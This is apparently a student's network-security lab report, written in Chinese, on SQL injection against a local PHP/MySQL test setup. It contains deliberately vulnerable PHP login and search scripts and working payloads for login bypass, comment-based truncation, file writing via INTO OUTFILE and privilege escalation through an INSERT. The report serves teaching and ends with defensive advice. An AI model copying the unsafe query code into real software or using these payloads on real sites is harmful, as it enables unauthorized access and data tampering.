網絡安全實驗4 SQL注入攻擊

讚賞碼 & 聯繫方式 & 個人閒話

【實驗名稱】SQL注入攻擊

 

【實驗目的】

1.瞭解SQL注入的基本原理

2.掌握PHP腳本訪問MySQL數據庫的基本方法

3.掌握程序設計中避免出現SQL注入漏洞的基本方法

 

【實驗原理】

1.什麼是SQL注入攻擊

    所謂SQL注入式攻擊,就是攻擊者把SQL命令插入到Web表單的輸入域或頁面請求的查詢字符串,欺騙服務器執行惡意的SQL命令。

2.爲何會有SQL注入攻擊

    很多電子商務應用程序都使用數據庫來存儲信息。不論是產品信息,賬目信息還是其它類型的數據,數據庫都是Web應用環境中非常重要的環節。SQL命令就是前端Web和後端數據庫之間的接口,使得數據可以傳遞到Web應用程序,也可以從其中發送出來。需要對這些數據進行控制,保證用戶只能得到授權給他的信息。可是,很多Web站點都會利用用戶輸入的參數動態的生成SQL查詢要求,攻擊者通過在URL、表格域,或者其他的輸入域中輸入自己的SQL命令,以此改變查詢屬性,騙過應用程序,從而可以對數據庫進行不受限的訪問。

    因爲SQL查詢經常用來進行驗證、授權、訂購、打印清單等,所以,允許攻擊者任意提交SQL查詢請求是非常危險的。

3.何時使用SQL注入攻擊

當Web應用向後端的數據庫提交輸入時,就可能遭到SQL注入攻擊。可以將SQL命令人爲的輸入到URL、表格域,或者其他一些動態生成的SQL查詢語句的輸入參數中,完成上述攻擊。因爲大多數的Web應用程序都依賴於數據庫的海量存儲和相互間的邏輯關係(用戶權限許可,設置等),所以,每次的查詢中都會存在大量的參數。

4. MySQL簡介
    SQL是結構化查詢語言的簡稱,它是全球通用的標準數據庫查詢語言,主要用於關係型數據的操作和管理,如增加記錄,刪除記錄,更改記錄,查詢記錄等,常用命令知識如表4-1-1所示。

                                                                                  表4-1-1  SQL常用命令

命令短語

功能

例句

select

用於查詢記錄和賦值

select i,j,k from A (i,j,k是表A中僅有的列名)

select i='1' (將i賦值爲字符1)

select* from A (含義同第一個例句)

update

用於修改記錄

update A set i=2  where i=1

insert

用於添加記錄

insert into A values(1, '2',3) (向A表中插入一條記錄(i,j,k)對應爲(1, '2',3))

delete

用於刪除記錄

delete A where i=2 (刪除A標中i=2的所有表項)

from

用於指定操作的對象名

見 select

where

用於指定查詢條件

select *from A,B where A.name=B.name and A.id=B.id

and

邏輯與

1=1 and 2<=2

or

邏輯或

1=1 or 1>2

not

邏輯非

not 1>1

=

相等關係或賦值

見and、or、not

>,>=,<,<=

關係運算符

與相等關係('=')的用法一致。

單引號(“'”)

用於指示字符串型數據

見select

逗號

分割相同的項

見select

*

通配符所有

見select

--

行註釋

--這裏的語句將不被執行!

/* */

塊註釋

/* 這裏的語句將不被執行! */

 

【實驗內容】

一.PHP訪問MySQL簡單實例

1. 創建隸屬test數據庫的user表

(1)啓動mysql服務

在控制檯中輸入如下命令啓動mysql服務。缺省狀態下root用戶密碼爲空。可通過如下命令查看mysql服務是否啓動成功。

(2)創建user數據庫表

在控制檯中輸入mysql,進入mysql客戶端控制檯(mysql>)。

● 選擇工作數據庫test(缺省狀態下,test數據庫已被創建)。

● 創建user數據庫表

● 插入兩條數據信息

● 查看數據庫表

 

2. 編寫PHP腳本查詢user數據庫表

編寫access.php腳本,內容如下:

<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "test";

$username = $_GET['username'];
$password = $_GET['password'];

## 連接到MySQL服務器
$dbcnx = mysql_connect($servername , $dbusername, $dbpassword );
if( !$dbcnx )
{
	echo( "連接MySQL服務器失敗!".mysql_error() );
	exit();
}

## 選擇工作數據庫
if( !mysql_select_db($dbname, $dbcnx) )
{
	echo ( "激活$dbname數據庫失敗!".mysql_error() );
	exit();
}

## SQL查詢
$sql_select = "SELECT * FROM user WHERE username='$username' AND password='$password'";
$result=mysql_query($sql_select, $dbcnx);
$userinfo=mysql_fetch_array($result);
if(empty($userinfo))
{
	echo "登錄失敗";
}
else
{
	echo "登錄成功";
}
echo "<p>SQL查詢: $sql_select<p>";
?>

從代碼中可知,當輸入正確的用戶名和密碼後,就會提示登錄成功,否則登錄失敗。

查看本機IP地址,發現爲172.16.0.192

 

單擊桌面控制面板中“Web瀏覽器”按鈕,當我們在URL地址欄中提交:

http://172.16.0.192/access.php?username=angel&password=mypass

Web頁面會提示“登錄成功”。

寫出此時PHP腳本中具體的SQL查詢語句: 

SELECT * FROM user WHERE username='angel' AND password='mypass' 
 

3. 實施SQL注入

(1)在URL地址欄中提交:

http://172.16.0.192/access.php?username=angel' or 1=1

注入是否成功?    否     

寫出此時PHP腳本中具體的SQL查詢語句:

SELECT * FROM user WHERE username='angel' or 1=1' AND password=''

 

(2)在URL地址欄中提交

http://172.16.0.192/access.php?username=angel' or '1=1

注入是否成功?    是     

寫出此時PHP腳本中具體的SQL查詢語句: SELECT * FROM user WHERE username='angel' or '1=1' AND password=''                    

通過分析SQL查詢語句解釋實驗現象: 可以看出程序會自動在語句末尾加上',第一種情況形成1=1’語句,顯然這是不完整的。而第二種寫法在前先加了一個’,形成’1=1’恆等語句。而我們知道邏輯AND運算優先級高於邏輯OR運算,使得先有'1=1' AND password=''得到真,再同username='angel'邏輯or,最終通過檢驗  

(3)在URL地址欄中提交:

http://172.16.0.192/access.php?username=angel'%23

注入是否成功?    是     

寫出此時PHP腳本中具體的SQL查詢語句:

SELECT * FROM user WHERE username='angel'#' AND password='' 

此處利用了MySQL支持“#”註釋格式的特性,在提交的時候會將#後面的語句註釋掉。由於編碼問題,在多數Web瀏覽器URL地址欄裏直接提交#會變成空,所以這裏使用了字符“#”的ASCII碼值0x23。

 

(4)Mysql還支持“/*”註釋格式,請寫出利用“/*”實現注入的URL,以及此時的SQL查詢語句。
SQL查詢語句:http://172.16.0.192/access.php?username=angel'%2F%2A


URL: SELECT * FROM user WHERE username='angel'/*' AND password='' 

 

(5)步驟(2)通過向username注入邏輯or運算,在只需知曉用戶名的情況下便可成功登錄。下面請設計單獨向password注入邏輯運算(可多個),要求在只需知曉用戶名的情況下實現登錄:
 SQL查詢語句: http://172.16.0.192/access.php?username=&password=' or 1=1 and username='angel 

URL: SELECT * FROM user WHERE username='' AND password='' or 1=1 and username='angel' 

 

(6)下面請設計SQL查詢語句,要求在不需要知曉用戶名和密碼的情況下實現登錄。

提示:通過猜測用戶ID字段名稱與用戶序列號,結合邏輯運算,向password進行注入。
SQL查詢語句: http://172.16.0.192/access.php?username=&password=' or 1=1 and userid='1 

URL: SELECT * FROM user WHERE username='' AND password='' or 1=1 and userid='1'      

 

二.搜索引擎注入

值得注意的是,Internet上有許多的PHP程序搜索引擎是存在問題的,也就是提交特殊字符就可以顯示所有記錄,包括不符合條件的。
1. 創建隸屬test數據庫的file表

(1)創建file數據庫表

file數據庫表結構如下:

(2)插入四條數據信息

title

author

summary

honeypot paper

honeypot.net

honeypot and honeynet

snort paper

snort.net

snort intrusion detection

snort based network

ppi

another snort paper

iptables+snort

no name

intelligence ids

 

2. 編寫HTML頁面

通過HTML頁面提交表單給服務器端PHP腳本,由PHP根據表單索引關鍵字對MySQL數據庫進行查詢,最後將查詢結果返回給HTML頁面。HTML頁面代碼如下:

<html>
<body>
<form action="search.php" method="post">
<table border="0">
<tr bgcolor="#cccaaa">
  <td width="300">文檔搜索引擎</td>
</tr>
</table>
<p>
<table border="0">
<tr>
  <td>關鍵字:</td>
  <td align="left"><input type="text" name="key" size="32"
     maxlength="32"></td>
</tr>
<tr>
  <td bgcolor="#cccaaa" colspan="2" align="left"><input type="submit" value="搜索"></td>
</tr>
</table>
</form>
</body>
</html>

 

 

3. 編寫PHP腳本查詢file數據庫表

<?php
  $key = $_POST['key'];
?>
<html>
<head>
  <title>搜索結果</title>
</head>
<body>
<h3>文檔搜索引擎</h3>
<?php
echo "搜索關鍵字:$key<p>";
echo "文檔搜索時間: ";
echo date("H:i, jS F<p>");
echo "搜索結果:";
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "test";
$tablename = "files";
$result = mysql_connect( $servername, $dbusername,$dbpassword);
if( !$result )
{
	echo ("連接mysql服務器失敗");
	exit();
}
if( !empty($key) )
{
	$sql_select = "SELECT * FROM file WHERE title LIKE '%$key%' ";
	$result = mysql_db_query( $dbname, $sql_select );
	if( empty($result) )
	{
		echo("mysql_db_query error");
		exit();
	}
	$total = mysql_num_rows($result);
	if( $total <= 0 )
	{
		echo ("<p>The $key was not found in all the record<p>");
	}
	else
	{
		while( $file = mysql_fetch_array($result) )
		{
			echo("<li>".htmlspecialchars($file[title])."<p>");
			echo( "摘要:".htmlspecialchars($file[summary]) );
		}
	}
}
else
{
	echo("<b>請輸入查詢關鍵字.</b><p>");
}
	exit();
?>
</body>
</html>

從代碼中可知,search.php會按search.htm提交的關鍵字對file數據庫表進行模糊查詢,並最終將查詢結果顯示在HTML頁面中。

輸入關鍵字“snort”進行 搜索,搜索結果中含有多少條記錄? 3條 。記錄中是否包含與snort關鍵字無關的項  無  

 

寫出此時PHP腳本中具體的SQL查詢語句: SELECT * FROM file WHERE title LIKE '%snort%'  
 

4. SQL注入

(1)這裏我們利用PHP腳本沒有對關鍵字變量進行檢查的漏洞進入SQL注入。輸入關鍵字“%”,進行搜索,搜索結果中含有多少條記錄? 4條  。記錄中是否包含與snort關鍵字無關的項 包含honeypot paper 

寫出此時PHP腳本中具體的SQL查詢語句:  SELECT * FROM file WHERE title LIKE '%%%'  

解釋SQL查詢語句含義: 從title列中模糊查詢全部記錄   

 

(2)輸入關鍵字“_’ORDER BY fileid#”

「說明」 “_”字符表示單字符通配,n個“_”字符則表示n字符通配。“ORDER BY fileid”表示按特定順序進行SQL查詢。若fileid爲整型字段,則按整數大小(由小到大)順序進行查詢;若fileid爲字符數組類型字段,則按字符ASCII碼(由前到後)順序進行查詢。

寫出此時PHP腳本中具體的SQL查詢語句: SELECT * FROM file WHERE title LIKE '%_’ORDER BY fileid#%'    

解釋SQL查詢語句含義: 按照fileid從小到大排列,模糊查詢記錄 

 

三.注入實現導出文件

本實驗步驟僅爲說明由於SQL注入而給服務器系統帶來一定程度上的危害。

在步驟一中,我們使用用戶名,在無需知曉用戶密碼的情況下,通過SQL注入實現了登錄。作爲進一步操作,我們可以通過SQL注入來向服務器硬盤中寫入大量無用的文件,而這是利用了MySQL的“INTO OUTFILE”命令,其查詢方法如下:

SELECT * FROM user WHERE cond into outfile '/etc/temp.txt';

上述SQL查詢語句會將user數據庫表中,滿足cond條件的記錄以INTO OUTFILE標準格式導出到/etc/temp.txt文件中。而信息能夠被成功導出到/etc/temp.txt中的條件是目標目錄有可寫的權限和目標文件不存在。

基於步驟一,寫出能夠實現(SQL注入)上述功能的URL: http://172.16.0.192/access.php?username=' or 1=1 into outfile '/etc/temp.txt'%23 

寫出此時PHP腳本中具體的SQL查詢語句: SELECT * FROM user WHERE username='' or 1=1 into outfile '/etc/temp.txt'#' AND password='' 

看到temp.txt中的結果:

 

 

四.通過注入提升用戶權限

如果大家認爲SQL注入僅僅適用於SELECT語句就大錯特錯了,其實還有兩個危害更大的操作,那就是INSERT和UPDATE語句。

(1)創建隸屬test數據庫的register表

切換至/opt/ExpNIC/HostSec-Lab/Projects/step4/目錄,執行腳本create_table_register創建register數據庫表。

寫出數據表包含的字段名稱: Field、Type、Null、Key、Default、Extra

 

(2)註冊用戶
將/opt/ExpNIC/HostSec-Lab/Projects/step4/目錄中的register.htm和register.php文件拷貝至/var/www/html目錄下。

在Web瀏覽器URL地址欄中訪問register.htm頁面。

填寫“用戶名”、“用戶口令”和“個人主頁”信息,單擊“註冊”按鈕,進行註冊。

註冊用戶級別(userlevel)  3  

 

(3)SQL注入提升註冊用戶權限

返回到register.htm頁面,按如下方法填寫“個人主頁”信息。

http://lixiaojun.com’,’1)#

單擊“註冊”按鈕,用戶註冊級別  1  

寫出此時PHP腳本中具體的SQL查詢語句: INSERT INTO register VALUES(0,'lixiaojun','123','http://lixiaojun.com’,’1)#',3)  

 

思考問題 

1.思考程序設計中有效避免SQL注入的方法(不限於本實驗中提及的)?

(1)輸入驗證

檢查用戶輸入的合法性,確信輸入的內容只包含合法的數據。

(2)錯誤消息處理

防範SQL注入,還要避免出現一些詳細的錯誤消息,因爲黑客們可以利用這些消息。要使用一種標準的輸入確認機制來驗證所有的輸入數據的長度、類型、語句、企業規則等。

(3)加密處理

將用戶登錄名稱、密碼等數據加密保存。加密用戶輸入的數據,然後再將它與數據庫中保存的數據比較,用戶輸入的數據不再對數據庫有任何特殊的意義,從而也就防止了攻擊者注入SQL命令。

(4)存儲過程來執行所有的查詢

SQL參數的傳遞方式將防止攻擊者利用單引號和連字符實施攻擊。

(5)使用專業的漏洞掃描工具

一個完善的漏洞掃描程序不同於網絡掃描程序,它專門查找網站上的SQL注入式漏洞。最新的漏洞掃描程序可以查找最新發現的漏洞。

(6)確保數據庫安全

鎖定數據庫的安全,只給訪問數據庫的web應用功能所需的最低的權限,撤銷不必要的公共許可,使用強大的加密技術來保護敏感數據並維護審查跟蹤。

(7)安全審評

在部署應用系統前,始終要做安全審評。建立一個正式的安全過程,並且每次做更新時,要對所有的編碼做審評。

 

2.SQL注入漏洞產生的原因是什麼?

但凡有SQL注入漏洞的程序,都是因爲程序要接受來自客戶端用戶輸入的變量或URL傳遞的參數,並且這個變量或參數是組成SQL語句的一部分,

對於用戶輸入的內容或傳遞的參數,應該要時刻保持警惕,這是安全領域裏的外部數據不可信任的原則,SQL注入漏洞的產生大多數都是因爲開發者開發過程中不注意規範書寫sql語句和對特殊字符進行過濾,違反了這個原則而導致的。

 

【小結或討論】

這次的SQL注入其實在之前的學習中就有接觸過,在CTF比賽和軟件安全課程上都有過學習,所以這次實驗總的來說還是比較順利的,內容也較爲容易理解。

實驗從or '1=1這個最經典的注入方式入手,很直接鮮明的給出了SQL注入的案例,一下子就讓我們也知道了SQL注入是什麼、SQL注入漏洞在哪、SQL注入想幹什麼、SQL注入該如何去操作。而對於實驗中的or 1=1注入,很明顯這不能形成一個完整的閉合語句,而通過or '1=1,先開始了一個新的語句,再結合自動補充的’,就能形成一個恆成立的等式‘1=1’,從而跳過驗證。

SQL注入的方法有很多,很重要的一個就是利用的就是AND和OR的運算規則,從而造成後臺腳本邏輯性錯誤,我們的實驗也是這樣做的。除此之外猜解表名、列名,繞過一些防注入的方法比如雙空格等等,有很多值得進一步學習探究的地方。SQL注入的手法相當靈活,在注入的時候會碰到很多意外的情況,特別現在大小網站多少都會有防注入的限制措施,會對輸入進行過濾和審查。能不能根據具體情況進行分析,構造巧妙的SQL語句,這纔是SQL注入最爲精華的部分。

實驗還演示了利用SQL提權的操作,證明注入不僅適用於select。SQL注入非常注重技巧,合理的猜測往往也是解題最不可或缺的一部分,所以要想學好SQL注入還有很多的空間值得我們自己去慢慢發掘。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章